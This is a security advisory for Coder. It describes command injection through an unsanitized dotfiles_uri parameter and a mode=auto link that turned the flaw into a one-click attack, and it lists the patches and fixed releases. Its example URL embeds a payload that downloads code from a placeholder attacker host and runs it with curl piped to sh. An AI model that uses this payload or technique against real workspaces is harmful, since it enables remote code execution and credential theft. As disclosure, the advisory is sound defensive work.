Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent
Command injection via dotfiles URI parameter combined with workspace auto-creation
Summary
The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.
Details
Command injection in the dotfiles module (root cause)
The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.
Auto-creation amplification (mode=auto)
The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
https:///templates//workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).comImpact
Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.
Patches
coder/registry (primary fix)
Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.
- https://github.com/coder/registry/pull/703
coder/coder (defense-in-depth)
A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.
- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011)
- Patched releases:
- v2.29.7 (ESR)
- v2.30.2 (mainline)